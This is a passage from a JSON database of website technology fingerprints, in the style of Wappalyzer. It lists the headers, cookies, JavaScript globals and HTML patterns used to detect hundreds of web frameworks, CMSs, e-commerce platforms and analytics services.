Functionality"]},"Koa":{"headers":{"x-powered-by":"^koa$"},"implies":["Node.js"]},"Django":{"cookies":{"django_language":""},"js":["__admin_media_prefix__","django"],"html":["(?:powered by \u003ca[^\u003e]+\u003edjango ?([\\d.]+)?\u003c\\/a\u003e|\u003cinput[^\u003e]*name=[\"']csrfmiddlewaretoken[\"'][^\u003e]*\u003e)\\;version:\\1"],"implies":["Python"]},"Nosto Visual UGC":{"js":["stackla","stacklawidgetjsonp"]},"Pretty Links":{},"AnswerDash":{"js":["answerdash","answerdash.__plugin"]},"Knockout.js":{"js":["ko.version"]},"Heroku":{"headers":{"via":"[\\d.-]+ vegur$"}},"TomTom Maps":{"js":["tomtom.map"]},"FilePond":{"js":["filepond","filepond.create","filepond.setoptions"]},"Tray":{},"Saba.Host":{},"core-js":{"js":["core","core.version","__core-js_shared__","__core-js_shared__.versions.0.version","_babelpolyfill"]},"Contao":{"meta":{"generator":["^contao open source cms$"]},"implies":["PHP"]},"Artifactory":{"js":["artifactoryupdates"],"html":["\u003cspan class=\"version\"\u003eartifactory(?: pro)?(?: power pack)?(?: ([\\d.]+))?\\;version:\\1"]},"RiteCMS":{"meta":{"generator":["^ritecms(?: (.+))?\\;version:\\1"]},"implies":["PHP","SQLite\\;confidence:80"]},"Tealium Consent Management":{},"CodeMirror":{"js":["codemirror.version","codemirror"]},"AB Tasty":{"js":["abtasty","_abtasty","loadabtasty"]},"SparkPost":{},"Nuxt.js":{"js":["$nuxt"],"html":["\u003cdiv [^\u003e]*id=\"__nuxt\"","\u003cscript [^\u003e]*\u003ewindow\\.__nuxt__"],"implies":["Vue.js","Node.js"]},"Indexhibit":{"html":["\u003c(?:link|a href) [^\u003e]+ndxz-studio"],"meta":{"generator":["indexhibit"]},"implies":["PHP","Apache","Exhibit"]},"GetResponse":{"js":["grapp","grwf2"]},"CalendarHero":{"js":["zoomai.vars"]},"UserVoice":{"js":["uservoice"]},"Locksmith":{"js":["locksmith"],"implies":["Shopify"]},"TVSquared":{"js":["tv2track","_tvq"]},"Websale":{"cookies":{"websale_ac":""}},"Froala Editor":{"js":["froalaeditor.version"],"implies":["jQuery","Font Awesome"]},"FedEx":{},"Dropzone":{"js":["dropzone","dropzone.version"]},"Upserve":{},"AlloyUI":{"js":["aui"],"implies":["Bootstrap","YUI"]},"Sensors Data":{"cookies":{"sensorsdata2015jssdkcross":"","sensorsdata2015session":""},"js":["sa.lib_version","sensorsdata_app_js_bridge_call_js"]},"Mono.net":{"js":["_monotracker"],"implies":["Matomo Analytics"]},"WorldPay":{},"Permutive":{"js":["permutive"]},"Theme Freesia Edge":{"js":["edge_slider_value"]},"Mermaid":{"js":["mermaid"],"html":["\u003cdiv [^\u003e]*class=[\"']mermaid[\"']\u003e\\;confidence:90"]},"Red Hat":{"headers":{"server":"red hat","x-powered-by":"red hat"}},"Leaseweb":{},"Wakav Performance Monitoring":{},"ReferralCandy":{},"MariaDB":{},"ArcGIS API for JavaScript":{},"Forter":{"cookies":{"fortertoken":""},"js":["ftr__startscriptload"]},"sIFR":{},"Loja2":{},"Workarea":{"js":["workarea"]},"FARFETCH Black \u0026 White":{},"Blazor":{"implies":["Microsoft ASP.NET"]},"MadAdsMedia":{"js":["setmrefurl","setmiframe"]},"Tachyons":{"js":["webpackchunkgatsby_starter_blog_tachyons"]},"Appian":{},"AOLserver":{"headers":{"server":"aolserver/?([\\d.]+)?\\;version:\\1"}},"Squadded":{"implies":["Cart Functionality"]},"h5ai":{"implies":["PHP"]},"Personizely":{"js":["personizely"]},"Cloudflare Browser Insights":{"js":["__cfbeaconcustomtag"]},"Paylocity":{},"Sirclo":{"headers":{"x-powered-by":"sirclo"}},"Fast Checkout":{"js":["fast_version","fast.events"]},"osCommerce":{"cookies":{"oscsid":""},"html":["\u003cbr /\u003epowered by \u003ca href=\"https?://www\\.oscommerce\\.com","\u003c(?:input|a)[^\u003e]+name=\"oscsid\"","\u003c(?:tr|td|table)class=\"[^\"]*infoboxheading"],"implies":["PHP","MySQL"]},"MaxCDN":{"headers":{"server":"^netdna","x-cdn-forward":"^maxcdn$"}},"BrightEdge":{"js":["_bright3.version","be_sdk_options","bejssdk.client_version"]},"Sitefinity":{"meta":{"generator":["^sitefinity (.+)$\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"AMP":{"html":["\u003chtml[^\u003e]* (?:amp|⚡)[^-]","\u003clink rel=\"amphtml\""]},"Yii":{"cookies":{"yii_csrf_token":""},"html":["powered by \u003ca href=\"http://www\\.yiiframework\\.com/\" rel=\"external\"\u003eyii framework\u003c/a\u003e","\u003cinput type=\"hidden\" value=\"[a-za-z0-9]{40}\" name=\"yii_csrf_token\" \\/\u003e","\u003c!\\[cdata\\[yii-block-(?:head|body-begin|body-end)\\]"],"implies":["PHP"]},"langify":{"js":["langify","langify","langify.settings.switcher.version"]},"Braintree":{"js":["braintree.version","braintree"]},"Redonner":{},"X.ai":{"js":["xdotaiaction","xdotaibutton"]},"Sqreen":{"headers":{"x-protected-by":"^sqreen$"}},"Newspack":{},"Revel":{"cookies":{"revel_flash":"","revel_session":""},"implies":["Go"]},"MyWebsite":{"js":["systemid"],"meta":{"generator":["ionos mywebsite\\;version:8"]}},"HulkApps GDPR/CCPA Compliance Manager":{"js":["hulksetcookie"],"implies":["Shopify"]},"ALL-INKL":{},"Bold Commerce":{},"Raygun":{"js":["raygun","raygunenabled","raygunfactory"]},"A-Frame":{"js":["aframe.version"],"html":["\u003ca-scene[^\u003c\u003e]*\u003e"],"implies":["three.js"]},"Nacelle":{"js":["nacelleeventdata"]},"Arastta":{"headers":{"arastta":"^(.+)$\\;version:\\1","x-arastta":""},"implies":["PHP"]},"Directus":{"headers":{"x-powered-by":"^directus$"},"implies":["Vue.js","TinyMCE","core-js"]},"MIYN Online Appointment":{"js":["miynlive.settings"]},"Haddock":{"html":["\u003cp\u003eproduced by \u003ca href=\"http://www\\.haskell\\.org/haddock/\"\u003ehaddock\u003c/a\u003e version ([0-9.]+)\u003c/p\u003e\\;version:\\1"]},"Google Cloud Trace":{"headers":{"x-cloud-trace-context":""},"implies":["Google Cloud"]},"TNS Payments":{},"GoDaddy Website Builder":{"cookies":{"dps_site_id":""},"meta":{"generator":["go daddy website builder (.+)\\;version:\\1"]}},"Campaign Monitor":{},"Strattic":{"headers":{"x-powered-by":"strattic"},"implies":["WordPress"]},"Qikify":{},"Lytics":{"js":["__lytics__jstag__.version"]},"PerfectApps Swift":{"js":["ps_apiuri","ps_storeurl"]},"Shopify":{"cookies":{"_shopify_s":"","_shopify_y":""},"js":["shopify","shopifyapi","shopifycustomer"],"headers":{"x-shopid":"\\;confidence:50","x-shopify-stage":""},"meta":{"shopify-checkout-api-token":[],"shopify-digital-wallet":[]}},"Reputon":{},"Neto":{"js":["neto"]},"Drupal Multisite":{"implies":["Drupal"]},"W3Counter":{},"Homestead":{"meta":{"generator":["^homestead sitebuilder$"]}},"HP Compact Server":{"headers":{"server":"hp_compact_server(?:/([\\d.]+))?\\;version:\\1"}},"Birdeye":{"js":["bfiframe"]},"ThemeGrill Cenote":{},"Hello Elementor":{"implies":["Elementor"]},"Theme4Press Evolve":{"js":["evolve_js_local_vars"]},"Get Satisfaction":{"js":["gsfn"]},"ExtendThemes EmpowerWP":{},"Artifactory Web Server":{"headers":{"server":"artifactory(?:/([\\d.]+))?\\;version:\\1"},"implies":["Artifactory"]},"Dokeos":{"headers":{"x-powered-by":"dokeos"},"html":["(?:portal \u003ca[^\u003e]+\u003edokeos|@import \"[^\"]+dokeos_blue)"],"meta":{"generator":["dokeos"]},"implies":["PHP","Xajax","jQuery","CKEditor"]},"Buy me a coffee":{},"GSAP":{"js":["tweenlite.version","tweenmax.version","gsap.version","gsapversions"]},"FirstHive":{},"Mollom":{"html":["\u003cimg[^\u003e]+\\.mollom\\.com"]},"phpwind":{"html":["(?:powered|code) by \u003ca href=\"[^\"]+phpwind\\.net"],"meta":{"generator":["^phpwind(?: v([0-9-]+))?\\;version:\\1"]},"implies":["PHP"]},"IPinfo":{},"UserRules":{"js":["_usrp"]},"Aksara CMS":{"implies":["PHP","MySQL","CodeIgniter","Bootstrap","jQuery","OpenLayers"]},"Fynd Platform":{"js":["__fyndaction"],"implies":["Vue.js"]},"ATSHOP":{},"PayWhirl":{"js":["paywhirlforshopifysettings"]},"Elevar":{"js":["elevargtmsuite","elevar_gtm_errors","webpackchunkelevar_gtm_suite_scripts"]},"Intershop":{"html":["\u003cish-root"]},"XSLT":{"html":["\u003cxsl[^\u003e]* version=\"(.+)\"\\;version:\\1"]},"HappyFox Live Chat":{"js":["happyfoxchatobject"]},"Apollo":{"js":["__apollo_client__","__apollo_client__.version"],"implies":["GraphQL","TypeScript\\;confidence:50"]},"Flocktory":{"js":["flocktory","flocktorypurchase"]},"Leaflet":{"js":["l.distancegrid","l.posanimation","l.version"]},"Blue":{"js":["blueproductid","bluecpy_id"]},"SoundCloud":{"js":["sc.widget.events.play"]},"Crypto-Loot":{"js":["crlt.config.asmjs_name","cryptoloot"]},"Welcart":{"cookies":{"usces_cookie":""},"html":["\u003clink[^\u003e]+?href=\"[^\"]+usces_default(?:\\.min)?\\.css","\u003c!-- welcart version : v([\\d.]+)\\;version:\\1"]},"Ecwid":{"js":["ecwid","ecwidcart"]},"webpack":{"js":["webpackchunk","webpackjsonp"]},"Smash Balloon Instagram Feed":{},"FoodBooking":{"implies":["GloriaFood"]},"Catch Themes Catch Box":{},"TwistPHP":{"headers":{"x-powered-by":"twistphp"},"implies":["PHP"]},"Heap":{"js":["heap.version.heapjsversion"]},"Subbly":{"js":["subblyproducturlbase"],"meta":{"generator":["^subbly$"]}},"Marko":{"js":["markocomponent","markosections","markovars"],"implies":["Node.js"]},"SvelteKit":{"implies":["Svelte","Node.js","Vite"]},"ip-api":{},"Handlebars":{"js":["handlebars","handlebars.version"],"html":["\u003c[^\u003e]*type=[^\u003e]text\\/x-handlebars-template"]},"ApexPages":{"headers":{"x-powered-by":"salesforce\\.com apexpages"},"implies":["Salesforce"]},"Mopinion":{"js":["pastease"]},"Swiper Slider":{"js":["swiper"],"html":["\u003c[^\u003e]+=swiper-container"]},"Shopify Buy Button":{"js":["shopifybuy"]},"Podia":{"cookies":{"_podia_storefront_visitor_id":""},"js":["podia.checkout"]},"Paths.js":{},"Grab Pay Later":{"js":["grabwidget","grab_widget_money_format"]},"LogRocket":{},"MakeShopKorea":{"js":["makeshop","makeshoploguniqueid"]},"Gnuboard":{"js":["g4_bbs_img","g4_is_admin","g5_is_admin","g5_js_ver"],"implies":["PHP","MySQL"]},"Sections.design Shopify App Optimization":{"implies":["Shopify"]},"Themonic Iconic One":{},"Yotpo Loyalty \u0026 Referrals":{"js":["swellconfig","swellapi"]},"Gladly":{"js":["gladly"]},"Brandfolder":{"js":["brandfolder.account"]},"cgit":{"meta":{"generator":["^cgit v([\\d.a-z-]+)$\\;version:\\1"]},"implies":["git","C"]},"clickio":{},"Moove GDPR Consent":{"js":["moove_frontend_gdpr_scripts"]},"Hushly":{"js":["__hly_widget_object"]},"Supersized":{},"NewStore":{"js":["highstreetbanner.config"]},"Gameball":{"js":["gbsdk.settings.shop","gbreferralcodeinput"]},"JSEcoin":{"js":["jsemine"]},"Less":{"html":["\u003clink[^\u003e]+ rel=\"stylesheet/less\""]},"Lithium":{"cookies":{"lithiumvisitor":""},"js":["lithium"],"html":[" \u003ca [^\u003e]+powered by lithium"],"implies":["PHP"]},"Kooboo CMS":{"headers":{"x-kooboocms-version":"^(.+)$\\;version:\\1"},"implies":["Microsoft ASP.NET"]},"Umbraco":{"js":["uc_image_service|item_info_service","uc_item_info_service","uc_settings","umbraco"],"headers":{"x-umbraco-version":"^(.+)$\\;version:\\1"},"meta":{"generator":["umbraco"]},"implies":["Microsoft ASP.NET"]},"Emotion":{},"Duda":{"js":["systemid","d_version"]},"Aimtell":{"js":["_aimtellwebhook","_aimtellload","_aimtellpushtoken"]},"OneAll":{"js":["oa_social_login"]},"Sublime":{"js":["loadsublimeskinz"]},"MailerLite Website Builder":{},"Perzonalization":{},"GumGum":{},"Termly":{},"LimeChat":{},"Warp":{"headers":{"server":"^warp/(\\d+(?:\\.\\d+)+)?$\\;version:\\1"},"implies":["Haskell"]},"Marionette.js":{"js":["marionette","marionette.version"],"implies":["Underscore.js","Backbone.js"]},"Telescope":{"js":["telescope"],"implies":["Meteor","React"]},"AndersNoren Hemingway":{},"Facil-iti":{},"Twenty Seventeen":{"js":["twentyseventeenscreenreadertext"]},"Auth0":{},"Pygments":{"html":["\u003clink[^\u003e]+pygments\\.css[\"']"]},"Solr":{"implies":["Lucene"]},"Twitch Player":{"js":["twitch.player"]},"Frontify":{},"Cryout Creations Fluida":{},"GOV.UK Toolkit":{"js":["govuk.details","govuk.modules","govuk.primarylinks"]},"Returnly":{"js":["returnly.containerswitcher","returnly.internaleventtracker"]},"Cafe24":{"js":["ec_global_datetime","ec_global_info","ec_root_domain"]},"Enable":{"js":["enable_toolbar.is_premium"]},"Theme Freesia ShoppingCart":{"js":["shoppingcart_slider_value"]},"Whatfix":{"js":["_wfx_settings","wfx_is_playing__","_wfx_add_logger"]},"Anetwork":{},"SoundManager":{"js":["baconplayer","soundmanager","soundmanager.version"]},"Javadoc":{"html":["\u003c!-- generated by javadoc --\u003e"]},"Microsoft Excel":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:excel\"|\u003c!--\\s*(?:start|end) of output from excel publish as web page wizard\\s*--\u003e|\u003cdiv [^\u003e]*x:publishsource=\"?excel\"?)"],"meta":{"generator":["microsoft excel( [\\d.]+)?\\;version:\\1"],"progid":["^excel\\."]}},"XenForo":{"cookies":{"xf_csrf":"","xf_session":""},"js":["xf.guestusername"],"html":["(?:jquery\\.extend\\(true, xenforo|\u003ca[^\u003e]+\u003eforum software by xenforo™|\u003c!--xf:branding|\u003chtml[^\u003e]+id=\"xenforo\")","\u003chtml id=\"xf\" "],"implies":["PHP","MySQL"]},"Simon":{"js":["simondata"]},"Shopify Geolocation App":{"implies":["Shopify"]},"Simplero Websites":{"cookies":{"_simplero_session_id":""},"implies":["Cart Functionality"]},"Nukeviet CMS":{"js":["nv_digitalclock","nv_is_change_act_confirm"],"meta":{"generator":["nukeviet v([\\d.]+)\\;version:\\1"]}},"Luigi’s Box":{"js":["luigis"]},"8base":{},"Vaadin":{"js":["vaadin"],"implies":["Java"]},"Posterous":{"js":["posterous"],"html":["\u003cdiv class=\"posterous"]},"SocialLadder":{},"PayPal Marketing Solutions":{"implies":["PayPal"]},"Typekit":{"js":["typekit.config.js"],"html":["\u003clink [^\u003e]*href=\"[^\"]+use\\.typekit\\.(?:net|com)"]},"Breadcrumb NavXT":{"html":["\u003c!-- breadcrumb navxt ([\\d\\.]+)\\;version:\\1"]},"Stamped":{"js":["stampedfn"]},"Delivengo":{},"Apache Wicket":{"js":["wicket"],"implies":["Java"]},"Craft Commerce":{"headers":{"x-powered-by":"\\bcraft commerce\\b"},"implies":["Craft CMS"]},"Akismet":{"js":["ak_js.checkvalidity"]},"Trusted Shops":{},"WorldShopping":{},"Air360":{"js":["air360.sdk_version"]},"POWR":{"js":["powr_receivers","loadpowr"]},"Twenty Fifteen":{},"KineticJS":{"js":["kinetic","kinetic.version"]},"Eggplant":{"headers":{"content-security-policy":"\\.eggplant\\.cloud"}},"BOOM":{"headers":{"x-supplied-by":"mana"},"meta":{"generator":["^boom site builder$"]},"implies":["WordPress"]},"Blade":{"headers":{"x-powered-by":"blade-([\\w.]+)?\\;version:\\1"},"implies":["Java"]},"Themebeez Orchid Store":{"js":["orchid_store_obj"]},"NodeBB":{"headers":{"x-powered-by":"^nodebb$"},"implies":["Node.js"]},"papaya CMS":{"html":["\u003clink[^\u003e]*/papaya-themes/"],"implies":["PHP"]},"YouCan":{"js":["ycpay"],"headers":{"x-powered-by":"youcan\\.private\\.dc/"},"implies":["PHP","MySQL","Redis","Laravel"]},"Thesis":{"js":["thix.history","thix.t"]},"Saleor":{"js":["___next_data__.runtimeconfig.saleor"],"implies":["GraphQL"]},"Ahoy":{"cookies":{"ahoy_visitor":"","ahoy_track":"","ahoy_visit":""},"js":["ahoy"]},"Ametys":{"meta":{"generator":["(?:ametys|anyware technologies)"]},"implies":["Java"]},"Littledata":{"js":["littledatalayer","littledatalayer.version"],"implies":["Shopify"]},"Vue Storefront":{"meta":{"generator":["^vue storefront ([0-9.]+)?$\\;version:\\1"]},"implies":["Vue.js"]},"Plyr":{"js":["plyr"],"css":["--plyr-progress"]},"Dokan":{"js":["dokan"]},"OnePage Express":{"js":["one_page_express_settings"]},"Hund.io":{},"Rayo":{"js":["rayo"],"meta":{"generator":["^rayo"]},"implies":["AngularJS","Microsoft ASP.NET"]},"Glitch":{},"Humm":{"js":["checkout.enabledpayments.humm"]},"MizbanCloud":{"headers":{"server":"^mizbancloud$"}},"EmbedSocial":{"js":["embedsocialhashtag","embedsocialiframelightbox"]},"XOOPS":{"js":["xoops"],"meta":{"generator":["xoops"]},"implies":["PHP"]},"Boba.js":{"implies":["Google Analytics"]},"Dynamicweb":{"cookies":{"dynamicweb":""},"meta":{"generator":["dynamicweb ([\\d.]+)\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"SublimeVideo":{"js":["sublimevideo"]},"Greenhouse":{"js":["populategreenhousejobs"]},"SiteOrigin Vantage":{},"Periodic":{},"Facebook Pixel":{"js":["_fbq"]},"Sharethrough":{},"Brightcove":{},"Sylius":{"implies":["Symfony"]},"Rakuten Digital Commerce":{"js":["rakutenapplication"]},"Infomaniak":{},"Irroba":{"html":["\u003ca[^\u003e]*href=\"https://www\\.irroba\\.com\\.br"]},"Fanplayr":{"js":["fanplayr.platform.version"]},"CS Cart":{"js":["fn_buy_together_apply_discount","fn_calculate_total_shipping","fn_compare_strings"],"implies":["PHP"]},"JavaScript Infovis Toolkit":{"js":["$jit.version","$jit"]},"Salesforce":{"cookies":{"com.salesforce":""},"js":["sfdccmp","sfdcpage","sfdcsessionvars","sfdcapp"],"html":["\u003c[^\u003e]+=\"brandquaternaryfgrs\""]},"Polylang":{},"TestFreaks":{"js":["applytestfreaks","testfreaks"]},"Vimeo":{"js":["vimeo.player","vimeoplayer"]},"Kotisivukone":{},"EasyDigitalDownloads":{"meta":{"generator":["^easy digital downloads v(.*)$\\;version:\\1"]}},"Coinimp":{"js":["client.anonymous"]},"Adcash":{"js":["ct_tag","suloaded","suurl","ac_bgclick_url","ct_nopp","ct_nsuurl","ct_siteunder"]},"Visa":{"js":["visaapi","visaimage","visasrc"]},"Antsomi CDP 365":{},"Spin-a-Sale":{},"Helhost":{"headers":{"x-powered-by":"helhost"},"implies":["Nginx","AlmaLinux","Apache"]},"SIMsite":{"meta":{"sim.medium":[]}},"Mobirise":{"html":["\u003c!-- site made with mobirise website builder v([\\d.]+)\\;version:\\1"],"meta":{"generator":["^mobirise v([\\d.]+)\\;version:\\1"]}},"Moment Timezone":{"implies":["Moment.js"]},"WP Google Map Plugin":{"js":["wpgmp_local"]},"Vonage Video API":{},"Recapture":{},"Play":{"cookies":{"play_session":""},"implies":["Scala"]},"Zocdoc":{},"Plausible":{"js":["plausible"]},"Kendo UI":{"js":["kendo","kendo.version"],"html":["\u003clink[^\u003e]*\\s+href=[^\u003e]*styles/kendo\\.common(?:\\.min)?\\.css[^\u003e]*/\u003e"],"implies":["jQuery"]},"React Bricks":{"implies":["React"]},"JobAdder":{},"Image Relay":{"js":["imagerelay.accounts"]},"Chatra":{"js":["chatraid","chatrasetup"]},"phpAlbum":{"html":["\u003c!--phpalbum ([.\\d\\s]+)--\u003e\\;version:\\1"],"implies":["PHP"]},"Convert":{"js":["convertdata","convert_temp","convert"]},"Apple Sign-in":{"js":["appleid"],"meta":{"appleid-signin-client-id":[]}},"Stylitics":{"js":["stylitics","stylitics"]},"SHE Media":{"js":["shemedia","blogherads.adq"]},"Slimbox":{"html":["\u003clink [^\u003e]*href=\"[^/]*slimbox(?:-rtl)?\\.css"],"implies":["MooTools"]},"PageFly":{"js":["__pagefly_setting__"],"headers":{"x-powered-by":"pagefly"}},"Pagekit":{"meta":{"generator":["pagekit"]}},"CentOS":{"headers":{"x-powered-by":"centos","server":"centos"}},"e-Shop Commerce":{},"Visual Composer":{"meta":{"generator":["powered by visual composer website builder"]},"implies":["WordPress","PHP"]},"Acquia Site Studio":{"implies":["Acquia Cloud Platform"]},"LiveSession":{},"Shopapps":{"js":["istockurl","iwishurl"],"implies":["Shopify"]},"Naver RUA":{},"Editor.js":{"js":["editorjs"]},"Quantcast Measure":{"js":["quantserve"]},"Google App Engine":{"headers":{"server":"google frontend"}},"SiteEdit":{"meta":{"generator":["siteedit"]}},"Sectigo":{},"VirtueMart":{"html":["\u003cdiv id=\"vmmainpage"],"implies":["Joomla"]},"GEOvendas":{},"Super Socializer":{},"CSSIgniter Olsen Light":{},"nghttpx - HTTP/2 proxy":{"headers":{"server":"nghttpx nghttp2/?([\\d.]+)?\\;version:\\1"}},"InMoment":{"headers":{"content-security-policy":"\\.inmoment\\.com","content-security-policy-report-only":"\\.inmoment\\.com"}},"VP-ASP":{"html":["\u003ca[^\u003e]+\u003epowered by vp-asp shopping cart\u003c/a\u003e"],"implies":["Microsoft ASP.NET"]},"Roadiz CMS":{"headers":{"x-powered-by":"roadiz cms"},"meta":{"generator":["^roadiz ?(?:master|develop)? v?([0-9\\.]+)\\;version:\\1"]},"implies":["PHP","Symfony"]},"Wikinggruppen":{"html":["\u003c!-- wikinggruppen"]},"SquirrelMail":{"js":["squirrelmail_loginpage_onload"],"html":["\u003csmall\u003esquirrelmail version ([.\\d]+)[^\u003c]*\u003cbr \\;version:\\1"],"implies":["PHP"]},"Redux":{},"RedCart":{"cookies":{"rc2c-erotica":"\\d+"},"js":["rc_shop_id"]},"Imber":{"js":["$imber.getvisitor","imber_id","imber_socket"]},"Zope":{"headers":{"server":"^zope/"}},"Akinon":{},"EPrints":{"js":["epjs_menu_template","eprints"],"meta":{"generator":["eprints ([\\d.]+)\\;version:\\1"]},"implies":["Perl"]},"Splitbee":{"js":["splitbee"]},"Lightspeed eCom":{"html":["\u003c!-- \\[start\\] 'blocks/head\\.rain' --\u003e"]},"Mozard Suite":{"meta":{"author":["mozard"]}},"Chameleon":{"js":["chmln.snippet.urls.fast","chmlndata.organizationattributes"]},"Frequently Bought Together":{},"Viral Loops":{},"GrandNode":{"cookies":{"grand.customer":""},"html":["(?:\u003c!--grandnode |\u003ca[^\u003e]+grandnode - powered by |powered by: \u003ca[^\u003e]+nopcommerce)"],"meta":{"generator":["grandnode"]},"implies":["Microsoft ASP.NET"]},"Salesforce Commerce Cloud":{"cookies":{"dwsid":"","dw_dnt":""},"js":["dwanalytics"],"headers":{"server":"demandware ecommerce server"},"implies":["Salesforce"]},"ColorMeShop":{"js":["colorme"]},"OpenText Web Solutions":{"html":["\u003c!--[^\u003e]+published by open text web solutions"],"implies":["Microsoft ASP.NET"]},"Hostens":{},"Let's Encrypt":{},"Ko-fi":{"js":["kofiwidget2"]},"Webix":{"js":["webix"]},"Concrete CMS":{"cookies":{"concrete5":""},"js":["ccm_image_path","concrete"],"meta":{"generator":["^concrete5(?: - ([\\d.]+)$)?\\;version:\\1"]},"implies":["PHP"]},"BuySellAds":{"js":["_bsapro","_bsap","_bsap_serving_callback","_bsa"]},"VDX.tv":{},"PixelYourSite":{"js":["pys.facebook","pysoptions","pys_generate_token"]},"Globo Color Swatch":{"implies":["Shopify"]},"Zen Cart":{"meta":{"generator":["zen cart"]}},"Daphne":{"headers":{"server":"daphne"},"implies":["TwistedWeb","Python","Zope"]},"Microsoft SharePoint":{"js":["spdesignerprogid","_spbodyonloadcalled"],"headers":{"microsoftsharepointteamservices":"^(.+)$\\;version:\\1","sprequestguid":"","sharepointhealthscore":"","x-sharepointhealthscore":""},"meta":{"generator":["microsoft sharepoint"]}},"Mambo":{"meta":{"generator":["mambo"]}},"Globo Also Bought":{"implies":["Shopify"]},"Flickity":{"js":["flickity"]},"Sapren":{"meta":{"generator":["^saprenco.com website builder$"]},"implies":["Laravel","PHP","MySQL"]},"Unbounce":{"headers":{"x-unbounce-pageid":""}},"FreeTextBox":{"js":["ftb_api","ftb_addevent"],"html":["\u003c!-- \\* freetextbox v\\d \\((\\d+\\.\\d+\\.\\d+)\\;version:\\1"],"implies":["Microsoft ASP.NET"]},"Act-On":{"js":["acton"]},"PayBright":{"js":["_paybright_config"]},"Mulberry":{"js":["mulberry.cta","mulberryshop"],"implies":["Cart Functionality"]},"Mercado Shops":{"cookies":{"_mshops_ga_gid":""}},"Smartling":{"js":["populatesmartlingddl"]},"Adform":{},"Prism":{"js":["prism"]},"Klaviyo":{"js":["klaviyosubscribe","klaviyo"]},"Cococart":{},"Saber":{"html":["\u003cdiv [^\u003e]*id=\"_saber\""],"meta":{"generator":["^saber v([\\d.]+)$\\;version:\\1"]},"implies":["Vue.js"]},"PostgreSQL":{},"Bunny":{"headers":{"server":"^bunnycdn"}},"Blueshift":{},"Ecovium":{},"TotalCode":{"headers":{"x-powered-by":"^totalcode$"}},"Touch2Success":{"meta":{"content":["^touch2success$"]}},"Order Deadline":{"js":["orderdeadlineappbyeesl"],"implies":["Shopify"]},"Baidu Maps":{"js":["bmap_api_version","bmap.version"]},"Adobe Experience Platform Launch":{"js":["_satellite.buildinfo"]},"ipapi.co":{},"Gorgias":{"js":["gorgiaschat"]},"DokuWiki":{"cookies":{"dokuwiki":""},"js":["doku_edit_text_content","doku_tpl"],"meta":{"generator":["^dokuwiki( release [\\d-]+)?\\;version:\\1"]},"implies":["PHP"]},"Uptrends":{"js":["utboomr.version"]},"Threekit":{"js":["threekit.configuratorform","threekitar","threekitplayer"]},"Salesfloor":{"js":["nmconfig.salesfloor_env","salesfloorhost"]},"Ochanoko":{"js":["ocnkproducts"]},"Usizy":{"js":["usizyuniversal"]},"ExtendThemes Highlight":{},"otrs":{"headers":{"x-powered-by":"otrs ([\\d.]+)\\;version:\\1"},"html":["\u003c!--\\s+otrs: copyright"],"implies":["Perl"]},"Feedback Fish":{},"jQuery Migrate":{"js":["jquery.migrateversion","jquery.migratewarnings","jquerymigrate"],"implies":["jQuery"]},"Orckestra":{"headers":{"x-orckestra-commerce":".net client","x-powered-by":"orckestra"},"meta":{"generator":["^c1 cms foundation - free open source from orckestra and https://github.com/orckestra/c1-cms-foundation$"]},"implies":["Microsoft ASP.NET"]},"Fomo":{"js":["fomo.version"]},"Percussion":{"html":["\u003c[^\u003e]+class=\"perc-region\""],"meta":{"generator":["(?:percussion|rhythmyx)"]}},"Advert Stream":{"js":["advst_is_above_the_fold"]},"Mokka":{},"Scorpion":{"js":["process.userdata"],"html":["\u003c[^\u003e]+id=\"hsscorpion"]},"ClearSale":{"js":["csdm"]},"RD Station":{"js":["rdstation"]},"Stimulus":{"html":["\u003c[^\u003e]+data-controller"]},"Cooladata":{"js":["cooladata"]},"AdRoll":{"js":["adroll_adv_id","adroll_pix_id","adroll_version"]},"Loadable-Components":{"js":["__loadable_loaded_chunks__"]},"IBM DataPower":{"headers":{"x-backside-transport":"","x-global-transaction-id":""}},"Vuetify":{"css":["\\.v-application \\.d-block"],"implies":["Vue.js"]},"Orchard CMS":{"meta":{"generator":["orchard"]},"implies":["Microsoft ASP.NET"]},"hyva":{"headers":{"x-built-with":"^hyva themes$"},"implies":["Magento"]},"Underscore.js":{"js":["_.version","_.restarguments"]},"Airee":{"headers":{"server":"^airee"}},"TwistedWeb":{"headers":{"server":"twistedweb(?:/([\\d.]+))?\\;version:\\1"}},"RevLifter":{"cookies":{"revlifter":""},"js":["revlifterobject","revlifter"]},"XpressEngine":{"meta":{"generator":["xpressengine"]}},"Invenio":{"cookies":{"inveniosession":""},"html":["(?:powered by|system)\\s+(?:cern )?\u003ca (?:class=\"footer\" )?href=\"http://(?:cdsware\\.cern\\.ch(?:/invenio)?|invenio-software\\.org|cern\\.ch/invenio)(?:/)?\"\u003e(?:cds )?invenio\u003c/a\u003e\\s*v?([\\d\\.]+)?\\;version:\\1"]},"Contentsquare":{"js":["cs_conf.trackerdomain"]},"Branch":{"js":["branch.setbranchviewdata","branch_callback__0"]},"ReCaptcha v2 for Contact Form 7":{"implies":["Contact Form 7"]},"DERAK.CLOUD":{"cookies":{"__derak_auth":"","__derak_user":""},"js":["derakcloud.init"],"headers":{"derak-umbrage":"","server":"^derak\\.cloud$"}},"Proximis Unified Commerce":{"js":["__change"],"html":["\u003chtml[^\u003e]+data-ng-app=\"rbschangeapp\""],"meta":{"generator":["proximis unified commerce"]},"implies":["PHP","AngularJS"]},"Kibo Commerce":{},"Kibo Personalization":{"js":["certona.recommendations","certonarecommendations","monetate","monetateq","monetatet","baynoteapi","baynotejsversion"]},"Backbone.js":{"js":["backbone","backbone.version"],"implies":["Underscore.js"]},"Pipedrive":{"js":["leadbooster"]},"Nuqlium":{"js":["nuqliumobject"]},"Doofinder":{"js":["doofinder.classic.version"]},"ExpertRec":{"js":["_er_config"]},"shine.js":{"js":["shine"]},"Contlo":{"js":["contlo_env"]},"ActiveCampaign":{"js":["acenabletracking"]},"iAdvize":{},"Piwik PRO Core":{},"Google Hosted Libraries":{},"DPlayer":{"js":["dplayer","dplayer.version"]},"4-Tell":{"cookies":{"4tell":"","4tellcart":"","4tellsession":""},"js":["_4tellboost"]},"Nginx":{"headers":{"server":"nginx(?:/([\\d.]+))?\\;version:\\1","x-fastcgi-cache":""}},"Elastic APM":{"js":["elasticapm"],"implies":["Elasticsearch"]},"Sift":{"js":["__siftflashcb","_sift"]},"govCMS":{"meta":{"generator":["drupal ([\\d]+) \\(http:\\/\\/drupal\\.org\\) \\+ 